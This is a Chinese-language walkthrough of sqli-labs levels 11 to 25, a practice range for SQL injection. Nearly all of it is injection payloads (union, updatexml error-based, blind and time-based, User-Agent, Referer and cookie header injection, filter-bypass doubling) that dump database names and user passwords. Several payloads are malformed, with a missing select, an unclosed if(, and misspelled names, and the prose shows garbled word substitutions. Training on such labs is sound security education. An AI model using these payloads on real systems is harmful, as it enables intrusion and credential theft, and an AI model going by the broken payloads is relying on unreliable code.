sqli-labs靶场适合于初学sql注入的新手,它包含了许多的场景和模式为训练者提供精良的训练平台,以下这些语句搞懂我们做靶场就如鱼得水,非常自大的可以完成。
查询当前数据库版本:select version();
● 查询当前数据库:select database();
● 查询当前路径:select @@basedir;
● 查询当前数据库用户:select user();
● 查询当前MySQL路径:select @@datadir;
● 查询连接数据库的用户:select session_user();
● 查询服务器的系统版本:select @@Version_compile_os;
● 查询数据库:select schema_name from information_schema.schemata;
● 查询表名:select table_name from information_schema.tables where table_schema=‘库名’ limit 0,1;
● 查询列名:select column_name from information_schema.columns where table_schema=‘库名’ and table_name=‘表名’ limit 0,1;
Less-11
闭合方式是1’ #
- # 输入1' union select 1,2,来判断回显位置。
- # 输入语句来爆数据库名和数据库的表名
- -1' union 1,databse(),'group_concat(table_name) from information_schema.tables where table_schema='security' #
复制代码
- # 爆数据库中的表的字段
- -1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
复制代码
- # 爆数据库中users中数据内容
- -1' union select 1,group_concat(username,'-',password) from security.users #
复制代码
Less-12
闭合方式 ") #
和11关一样,只不外是闭合方式不一样
- # 爆数据库名
- -1) union select 1,database() #
复制代码
- # 爆数据库中的表名
- -1") union select 1,database() #
复制代码
- # 爆数据库中users表的字段
- -1") union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
复制代码
- # 爆数据库中users表中所有的内容
- -1") union select 1,group_concat(username,'-',password) from security.users #
复制代码
Less-13
闭合方式’) #
报错注入
- # 使用报错注入的方式来对数据库名进行爆库
- admin') union select updatexml(1,concat(0x7e,(database()),0x7e),1) #
复制代码
- # 对数据库中的表进行爆出
- admin') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #
复制代码
- # 对users中的字段名爆出
- admin') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) #
复制代码
- # 把users表中的数据爆出
- admin') and updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1)#
复制代码
Less-14
闭合方式 " #
报错注入的方法,与13关一样,闭合方式不一样
- # 对数据库名爆出
- admin" and updatexml(1,concat(0x7e,(database()),0x7e),1) #
复制代码
- # 把数据库中的表名爆出来
- admin" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #
复制代码
- # 爆出users中的字段名
- admin" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) #
复制代码
- # 爆出users中的所有数据
- admin" and updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1) #
复制代码
Less-15
此题使用联合查询和报错注入都无法乐成,以是只能用盲注和时间注入来解答此题。
- # 对数据库爆库
- admin' and if(ascii(substr(database(),1,1))>115#
复制代码- # 对数据库中表名进行爆出
- admin' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 #
复制代码- # 爆出数据库中users表中的字段
- admin' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 #
复制代码- # 查询users表中所有的数据
- admin' and ascii(substr((select password from security.users limit 0,1),1,1))>100 #
复制代码 Less-16
此题和15关一样,使用的是盲注,闭合方式不一样
闭合方式")
- # 判断数据库的长度
- admin") and if(length(database())>8, 0, sleep(5))-- -
复制代码- # 判断数据库的名
- admin") and if(ascii(substr(database(),1,1))=115, 0, sleep(5))-- -
复制代码- # 判断数据库的表名
- admin") and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>117, 0, sleep(5))-- -
复制代码- # 判断表中的字段名
- admin") and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>105, 0, sleep(5))-- -
复制代码- # 判断表中的数据
- admin") and if(ascii(substr((select password from security.users limit 0,1),1,1))>100, 0, sleep(5))-- -
复制代码 Less-17
闭合方式为1’ #
使用报错注入,在new password中进行报错,因此在username中输入admin, new password中进行注入
- # 对数据库进行爆库
- 1' and (updatexml(1,concat(0x7e, database(),0x7e),1)) #
复制代码
- # 查询数据库中的表
- 1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #
复制代码
- # 查询users表中的字段
- 1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) #
复制代码
- # 对users中的数据进行爆出
- -1' and updatexml(1,concat(0x7e,(select group_concat(username) from (select username from users)a)),1) #
复制代码
Less-18
闭合方式 ’ #
此题是http头部注入,使用User-Agent注入
- # 输入正确的用户和密码显示出UA头,错误的用户和密码会导致页面显示没有变化
复制代码
- # 进行抓包,然后对UA头进行注入,来爆数据库的名称
- ',1,updatexml(1,concat(0x7e, database(),0x7e),1))#
复制代码
- # 查询数据库的表名
- ',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)) #
复制代码
- # 查询表里的字段名
- ',1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1))#
复制代码
- # 查询数据库表中的内容
- ',1,updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1))#
复制代码
Less-19
此题需要http头部注入,登录乐成显示Referer报错注入
闭合方式是’
从中可以看出登录乐成页面回显,失败则没有回显信息
因此我们使用referer进行报错
- # 查询数据库名
- ',1,updatexml(1,concat(0x7e, database(),0x7e),1))#
复制代码
- # 查询数据库的表名
- ',1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))#
复制代码- # 查询数据库表中字段
- ',1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1))#
复制代码- # 查询数据库所有数据
- ',1,updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1))#
复制代码 Less-20
此题需要使用cookie来解答
- # 当输入正确账户和密码时,页面显示的是cookie
复制代码
- # 通过get抓包来获取数据的信息,输入cookie来注入爆数据库名
- uname=-admin' union select 1,2,database()--+
复制代码
- # 查询数据库中的表
- uname=-admin' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
复制代码
- # 查询数据表中的字段
- uname=-admin' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
复制代码
- # 查询数据库表里的内容
- uname=-admin' union select 1,2,group_concat(username,'-',password) from security.users--+
复制代码
Less-21
闭合方式’)
此题需要将cookie的编码方式解码
然后再进行加密编码
然后再使用报错注入进行
- # 爆出数据库名
- ') and updatexml(1,concat(0x7e,database(),0x7e),1)#
复制代码
- # 爆出数据库中的表名
- ')and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #
复制代码
- # 爆出users表中的字段
- ')and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) #
复制代码
- # 查询出users表中所有的数据
- ')and updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1) #
复制代码
Less-22
闭合方式" #
和二十一关一样,只是闭合方式不一样
- # 报错查询数据库
- " and updatexml(1,concat(0x7e,database(),0x7e),1)#
复制代码
- # 报错注入查询数据库下的表
- " and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) #
复制代码
- # 查询表下的字段
- " and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) #
复制代码
- # 查询数据库的内容
- " and updatexml(1,concat(0x7e,(select group_concat(username,'-',password) from security.users),0x7e),1) #
复制代码
Less-23
闭合方式 ’ or ‘1’='1
此关闭合会过滤符号,起首用or ’1‘=’1来进行闭合
然后再用联合查询
- # 查数据库的名称
- -1' union select 1,database(),3 or '1'='1
复制代码
- # 查询数据库的表单
- -1' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3 or '1'='1
复制代码
- # 查询数据库中表字段
- -1' union select 1,(select group_concat(column_name)from information_schema.columns where table_name='users'),3 or '1'='1
复制代码
- # 查询数据库中表的内容
- -1' union select 1,(select group_concat(username,password)from users),3 or '1'='1
复制代码
Less-24
此题用了二次注入
- # 注册一个a‘#的用户和密码
- # 然后用错误的密码修改
复制代码
Less-25
闭合方式’ --+
起首使用联合注入,看到其回显位置
然后需要用双绕过来报错注入
- # 联合注入,判断回显位置
- -1' Union select 1,2,3 --+
复制代码
- # 报错查询数据库
- -1' aandnd updatexml(1,concat(0x7e,database(),0x7e),1) --+
- -1' oorr updatexml(1,concat(0x7e,database(),0x7e),1)--+ //两句都可以注入
复制代码
- # 查询数据库下的表
- -1' aandnd updatexml(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),0x7e),1) --+
复制代码
- # 查询数据库表下的字段
- -1' oorr updatexml(1,concat(0x7e,(select group_concat(column_name) from infoorrormation_schema.columns where table_name='users'),0x7e),1) --+
复制代码
- # 查询数据库表下的内容
- -1' aandnd updatexml(1,concat(0x7e,(select group_concat(username,'-',passwoorrd) from security.users),0x7e),1) --+
复制代码
好小子,离乐成又近一步
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |